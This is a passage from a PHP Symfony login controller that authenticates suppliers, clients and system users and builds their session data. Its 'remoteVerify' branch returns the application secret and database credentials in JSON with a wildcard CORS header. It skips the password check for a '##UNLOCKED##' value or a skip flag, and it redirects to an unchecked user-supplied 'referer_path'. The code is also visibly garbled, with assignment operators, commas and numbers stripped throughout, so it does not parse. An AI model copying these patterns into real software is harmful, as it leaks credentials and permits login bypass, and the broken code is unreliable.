  2065. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  2066.                         if (!$user) {
  2067.                             $message "We could not find your username or email";
  2068.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2069.                                 return new JsonResponse(array(
  2070.                                     'uid' => $session->get(UserConstants::USER_ID),
  2071.                                     'session' => $session,
  2072.                                     'success' => false,
  2073.                                     'errorStr' => $message,
  2074.                                     'session_data' => [],
  2075.                                 ));
  2076.                             }
  2077.                             if ($systemType == '_BUDDYBEE_')
  2078.                                 return $this->redirectToRoute("applicant_login", [
  2079.                                     "message" => $message,
  2080.                                     "errorField" => 'username',
  2081.                                 ]);
  2082.                             else if ($systemType == '_CENTRAL_')
  2083.                                 return $this->redirectToRoute("central_login", [
  2084.                                     "message" => $message,
  2085.                                     "errorField" => 'username',
  2086.                                 ]);
  2087.                             else if ($systemType == '_SOPHIA_')
  2088.                                 return $this->redirectToRoute("sophia_login", [
  2089.                                     "message" => $message,
  2090.                                     "errorField" => 'username',
  2091.                                 ]);
  2092.                             else
  2093.                                 return $this->render($redirect_login_page_twig, array(
  2094.                                     "message" => $message,
  2095.                                     'page_title' => "Login",
  2096.                                     'gocList' => $gocDataList,
  2097.                                     'gocId' => $gocId
  2098.                                 ));
  2099.                         }
  2100.                         if ($user) {
  2101.                             if ($oAuthData) {
  2102.                                 // user passed
  2103.                             } else {
  2104.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2105.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2106. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2107. //                                        // user passed
  2108. //                                    } else {
  2109.                                     $message "Oops! Wrong Password";
  2110.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2111.                                         return new JsonResponse(array(
  2112.                                             'uid' => $session->get(UserConstants::USER_ID),
  2113.                                             'session' => $session,
  2114.                                             'success' => false,
  2115.                                             'errorStr' => $message,
  2116.                                             'session_data' => [],
  2117.                                         ));
  2118.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2119.                                         //                    return $response;
  2120.                                     }
  2121.                                     if ($systemType == '_BUDDYBEE_')
  2122.                                         return $this->redirectToRoute("applicant_login", [
  2123.                                             "message" => $message,
  2124.                                             "errorField" => 'password',
  2125.                                         ]);
  2126.                                     else if ($systemType == '_CENTRAL_')
  2127.                                         return $this->redirectToRoute("central_login", [
  2128.                                             "message" => $message,
  2129.                                             "errorField" => 'username',
  2130.                                         ]);
  2131.                                     else if ($systemType == '_SOPHIA_')
  2132.                                         return $this->redirectToRoute("sophia_login", [
  2133.                                             "message" => $message,
  2134.                                             "errorField" => 'username',
  2135.                                         ]);
  2136.                                     else
  2137.                                         return $this->render($redirect_login_page_twig, array(
  2138.                                             "message" => $message,
  2139.                                             'page_title' => "Login",
  2140.                                             'gocList' => $gocDataList,
  2141.                                             'gocId' => $gocId
  2142.                                         ));
  2143.                                 }
  2144.                             }
  2145.                         }
  2146.                         $jd = [];
  2147.                         if ($jd != null && $jd != '' && $jd != [])
  2148.                             $company_id_list $jd;
  2149.                         else
  2150.                             $company_id_list = [];
  2151. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2152. //                        foreach ($company_id_list as $c) {
  2153. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2154. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2155. //                        }
  2156.                     };
  2157.                 } else {
  2158.                     if ($cookieLogin == 1) {
  2159.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2160.                             array(
  2161.                                 'userId' => $userId
  2162.                             )
  2163.                         );
  2164.                     } else if ($encrypedLogin == 1) {
  2165.                         if (in_array($userType, [34]))
  2166.                             $specialLogin 1;
  2167.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2168.                             $user null;
  2169.                             if ($clientId 0) {
  2170.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2171.                                     array(
  2172.                                         'clientId' => $clientId
  2173.                                     )
  2174.                                 );
  2175.                             }
  2176.                             if (!$user) {
  2177.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2178.                                     array(
  2179.                                         'globalUserId' => $globalId
  2180.                                     )
  2181.                                 );
  2182.                             }
  2183. //
  2184.                             if ($user)
  2185.                                 $userId $user->getClientId();
  2186.                             $clientId $userId;
  2187.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2188.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2189.                                 array(
  2190.                                     'globalUserId' => $globalId
  2191.                                 )
  2192.                             );
  2193. //
  2194.                             if ($user)
  2195.                                 $userId $user->getSupplierId();
  2196.                             $supplierId $userId;
  2197.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2198. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2199. //                                array(
  2200. //                                    'globalId' => $globalId
  2201. //                                )
  2202. //                            );
  2203. //
  2204. //                            if($user)
  2205. //                                $userId=$user->getUserId();
  2206. //                            $applicantId = $userId;
  2207.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2208.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2209.                                 array(
  2210.                                     'globalId' => $globalId
  2211.                                 )
  2212.                             );
  2213.                             if ($user)
  2214.                                 $userId $user->getUserId();
  2215.                         }
  2216.                     } else {
  2217.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2218.                             array(
  2219.                                 'userName' => $request->request->get('username')
  2220.                             )
  2221.                         );
  2222.                     }
  2223.                     if (!$user) {
  2224.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2225.                             array(
  2226.                                 'email' => $request->request->get('username'),
  2227.                                 'userName' => [null'']
  2228.                             )
  2229.                         );
  2230.                         if (!$user) {
  2231.                             $message "Wrong User Name";
  2232.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2233.                                 return new JsonResponse(array(
  2234.                                     'uid' => $session->get(UserConstants::USER_ID),
  2235.                                     'session' => $session,
  2236.                                     'success' => false,
  2237.                                     'errorStr' => $message,
  2238.                                     'session_data' => [],
  2239.                                 ));
  2240.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2241.                                 //                    return $response;
  2242.                             }
  2243.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2244.                                 "message" => $message,
  2245.                                 'page_title' => "Login",
  2246.                                 'gocList' => $gocDataList,
  2247.                                 'gocId' => $gocId
  2248.                             ));
  2249.                         } else {
  2250.                             //add the email as username as failsafe
  2251.                             $user->setUserName($request->request->get('username'));
  2252.                             $em->flush();
  2253.                         }
  2254.                     }
  2255.                     if ($user) {
  2256.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2257.                             $message "Sorry, Your Account is Deactivated";
  2258.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2259.                                 return new JsonResponse(array(
  2260.                                     'uid' => $session->get(UserConstants::USER_ID),
  2261.                                     'session' => $session,
  2262.                                     'success' => false,
  2263.                                     'errorStr' => $message,
  2264.                                     'session_data' => [],
  2265.                                 ));
  2266.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2267.                                 //                    return $response;
  2268.                             }
  2269.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2270.                                 "message" => $message,
  2271.                                 'page_title' => "Login",
  2272.                                 'gocList' => $gocDataList,
  2273.                                 'gocId' => $gocId
  2274.                             ));
  2275.                         }
  2276.                     }
  2277.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2278.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2279.                         $message "Wrong Email/Password";
  2280.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2281.                             return new JsonResponse(array(
  2282.                                 'uid' => $session->get(UserConstants::USER_ID),
  2283.                                 'session' => $session,
  2284.                                 'success' => false,
  2285.                                 'errorStr' => $message,
  2286.                                 'session_data' => [],
  2287.                             ));
  2288.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2289.                             //                    return $response;
  2290.                         }
  2291.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2292.                             "message" => $message,
  2293.                             'page_title' => "Login",
  2294.                             'gocList' => $gocDataList,
  2295.                             'gocId' => $gocId
  2296.                         ));
  2297.                     }
  2298.                     $userType $user->getUserType();
  2299.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2300.                     if ($jd != null && $jd != '' && $jd != [])
  2301.                         $company_id_list $jd;
  2302.                     else
  2303.                         $company_id_list = [$user->getUserCompanyId()];
  2304.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2305.                     foreach ($company_id_list as $c) {
  2306.                         if (isset($companyList[$c])) {
  2307.                             $company_name_list[$c] = $companyList[$c]['name'];
  2308.                             $company_image_list[$c] = $companyList[$c]['image'];
  2309.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2310.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2311.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2312.                         }
  2313.                     }
  2314.                 }
  2315. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2316.                 if ($remember_me == 1)
  2317.                     $session->set('REMEMBERME'1);
  2318.                 else
  2319.                     $session->set('REMEMBERME'0);
  2320.                 $config = array(
  2321.                     'firstLogin' => $firstLogin,
  2322.                     'rememberMe' => $remember_me,
  2323.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2324.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2325.                     'applicationSecret' => $this->container->getParameter('secret'),
  2326.                     'gocId' => $gocId,
  2327.                     'appId' => $appIdFromUserName,
  2328.                     'gocDbName' => $gocDbName,
  2329.                     'gocDbUser' => $gocDbUser,
  2330.                     'gocDbHost' => $gocDbHost,
  2331.                     'gocDbPass' => $gocDbPass
  2332.                 );
  2333.                 $product_name_display_type 0;
  2334.                 if ($systemType != '_CENTRAL_') {
  2335.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2336.                         'name' => 'product_name_display_method'
  2337.                     ));
  2338.                     if ($product_name_display_settings)
  2339.                         $product_name_display_type $product_name_display_settings->getData();
  2340.                 }
  2341.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2342.                     $userCompanyId 1;
  2343.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2344.                     if (isset($companyList[$userCompanyId])) {
  2345.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2346.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2347.                         $company_locale $companyList[$userCompanyId]['locale'];
  2348.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2349.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2350.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2351.                     }
  2352.                     // General User
  2353.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2354.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2355.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2356.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2357.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2358.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2359.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2360.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2361.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2362.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2363.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2364.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2365.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2366.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2367.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2368.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2369.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2370.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2371.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2372.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2373.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2374.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2375.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2376.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2377.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2378.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2379.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2380.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2381.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2382.                     //                $PL=json_decode($user->getPositionIds(), true);
  2383.                     $route_list_array = [];
  2384.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2385.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2386.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2387.                     $loginID 0;
  2388.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2389.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2390.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2391.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2392.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2393.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2394.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2395.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2396.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2397.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2398.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2399.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2400.                         $session->set('remoteVerified'1);
  2401.                         $session_data = array(
  2402.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2403.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2404.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2405.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2406.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2407.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2408.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2409.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2410.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2411.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2412.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2413.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2414.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2415.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2416.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2417.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2418.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2419.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2420.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2421.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2422.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2423.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2424.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2425.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2426.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2427.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2428.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2429.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2430.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2431.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2432.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2433.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2434.                         );
  2435.                         $session_data $this->filterClientSessionData($session_data);
  2436.                         $response = new JsonResponse(array(
  2437.                             'uid' => $session->get(UserConstants::USER_ID),
  2438.                             'session' => $session,
  2439.                             'success' => true,
  2440.                             'session_data' => $session_data,
  2441.                         ));
  2442.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2443.                         return $response;
  2444.                     }
  2445.                     if ($request->request->has('referer_path')) {
  2446.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2447.                             return $this->redirect($request->request->get('referer_path'));
  2448.                         }
  2449.                     }
  2450.                     //                    if($request->request->has('gocId')
  2451.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2452.                     return $this->redirectToRoute("supplier_dashboard");
  2453.                     //                    else
  2454.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2455.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2456.                     // General User
  2457.                     $userCompanyId 1;
  2458.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2459.                     if (isset($companyList[$userCompanyId])) {
  2460.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2461.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2462.                         $company_locale $companyList[$userCompanyId]['locale'];
  2463.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2464.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2465.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2466.                     }
  2467.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2468.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2469.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2470.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2471.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2472.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2473.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2474.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2475.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2476.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2477.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2478.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2479.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2480.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2481.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2482.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2483.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2484.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2485.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2486.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2487.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2488.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2489.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2490.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2491.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2492.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2493.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2494.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2495.                     //                $PL=json_decode($user->getPositionIds(), true);
  2496.                     $route_list_array = [];
  2497.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2498.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2499.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2500.                     $loginID 0;
  2501.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2502.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2503.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2504.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2505.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2506.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2507.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2508.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2509.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2510.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2511.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2512.                     $session_data = array(
  2513.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2514.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2515.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2516.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2517.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2518.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2519.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2520.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2521.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2522.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2523.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2524.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2525.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2526.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2527.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2528.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2529.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2530.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2531.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2532.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2533.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2534.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2535.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2536.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2537.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2538.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2539.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2540.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2541.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2542.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2543.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2544.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2545.                     );
  2546.                     $session_data $this->filterClientSessionData($session_data);
  2547.                     $session_data $this->filterClientSessionData($session_data);
  2548.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2549.                     $session_data $tokenData['sessionData'];
  2550.                     $token $tokenData['token'];
  2551.                     $session->set('token'$token);
  2552.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2553.                         $session->set('remoteVerified'1);
  2554.                         $response = new JsonResponse(array(
  2555.                             'uid' => $session->get(UserConstants::USER_ID),
  2556.                             'session' => $session,
  2557.                             'token' => $token,
  2558.                             'success' => true,
  2559.                             'session_data' => $session_data,
  2560.                         ));
  2561.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2562.                         return $response;
  2563.                     }
  2564.                     if ($request->request->has('referer_path')) {
  2565.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2566.                             return $this->redirect($request->request->get('referer_path'));
  2567.                         }
  2568.                     }
  2569.                     //                    if($request->request->has('gocId')
  2570.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2571.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2572.                     //                    else
  2573.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2574.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2575.                     // System administrator
  2576.                     // System administrator have successfully logged in. Lets add a login ID.
  2577.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2578.                         ->findOneBy(
  2579.                             array(
  2580.                                 'userId' => $user->getUserId()
  2581.                             )
  2582.                         );
  2583.                     if ($employeeObj) {
  2584.                         $employeeId $employeeObj->getEmployeeId();
  2585.                         $epositionId $employeeObj->getPositionId();
  2586.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2587.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2588.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2589.                     }
  2590.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2591.                         ->findOneBy(
  2592.                             array(
  2593.                                 'userId' => $user->getUserId(),
  2594.                                 'workingStatus' => 1
  2595.                             )
  2596.                         );
  2597.                     if ($currentTask) {
  2598.                         $currentTaskId $currentTask->getId();
  2599.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2600.                     }
  2601.                     $userId $user->getUserId();
  2602.                     $userCompanyId 1;
  2603.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
